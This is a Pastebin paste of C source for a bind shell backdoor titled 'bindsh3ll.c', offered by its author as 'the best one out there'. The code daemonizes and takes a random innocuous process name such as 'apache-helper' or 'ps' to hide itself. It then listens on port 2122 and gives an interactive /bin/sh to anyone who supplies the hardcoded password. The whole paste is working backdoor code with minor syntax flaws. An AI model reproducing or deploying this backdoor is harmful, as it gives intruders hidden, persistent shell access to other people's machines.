ZmEu

bindsh3ll.c - BEST one out there!! by haqNET

Feb 28th, 2011
202
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.98 KB | None | 0 0
  1. #include <string.h>
  2. #include <netinet/in.h>
  3. #include <arpa/inet.h>
  4. #include <unistd.h>
  5. #include <netdb.h>
  6. // By HaqnET
  7. #include <stdlib.h>
  8. #include <sys/socket.h>
  9.  
  10. #define BUFSIZ 256
  11. #define PORT 2122 ?* can change this.. */
  12.  
  13. int main(int argc,char *argv[]){
  14. int insock,s,port=PORT;
  15. char pass[BUFSIZ+2]="haqnet";
  16. ssize_t size;
  17. struct sockaddr_in servaddr,cliaddr;
  18. unsigned int len;
  19. char *newname;
  20. if(fork()!=0)
  21. return 0;
  22. srand(time(NULL));
  23. switch(rand()%4) {
  24. case 0:
  25. newname="apache-helper";
  26. break;
  27. case 1:
  28. newname="-bash";
  29. break;
  30. case 2:
  31. newname="sh";
  32. break;
  33. case 3:
  34. newname="ps";
  35. }
  36. memset(argv[0],0,strlen(argv[0]));
  37. strcpy(argv[0],newname);
  38. close(0);
  39. close(1);
  40. close(2);
  41. servaddr.sin_family=AF_INET;
  42. servaddr.sin_port=htons(PORT);
  43. servaddr.sin_addr.s_addr=htonl(INADDR_ANY);
  44. s=socket(AF_INET,SOCK_STREAM,0);
  45. bind(s,(struct sockaddr*)&servaddr,sizeof(servaddr));
  46. listen(s,10);
  47. for(;;) {
  48. len=sizeof(cliaddr);
  49. insock=accept(s,(struct sockaddr*)&cliaddr,&len);
  50. if(fork()==0) {
  51. char buf[BUFSIZ+2]={};
  52. send(insock,"Pass:",6,0);
  53. size=recv(insock,&buf,BUFSIZ,0);
  54. if(strncmp(buf,pass,strlen(pass))) {
  55. send(insock,"!!WRONG PASS LAMER!!\n",8,0);
  56. close(insock);
  57. exit(0);
  58. }
  59. dup2(insock,0);
  60. dup2(insock,1);
  61. dup2(insock,2);
  62. execl("/bin/sh","/bin/sh","-i",(char*)0);
  63. close(insock);
  64. exit(-1);
  65. }
  66. }
  67. }
Add Comment
Please, Sign In to add comment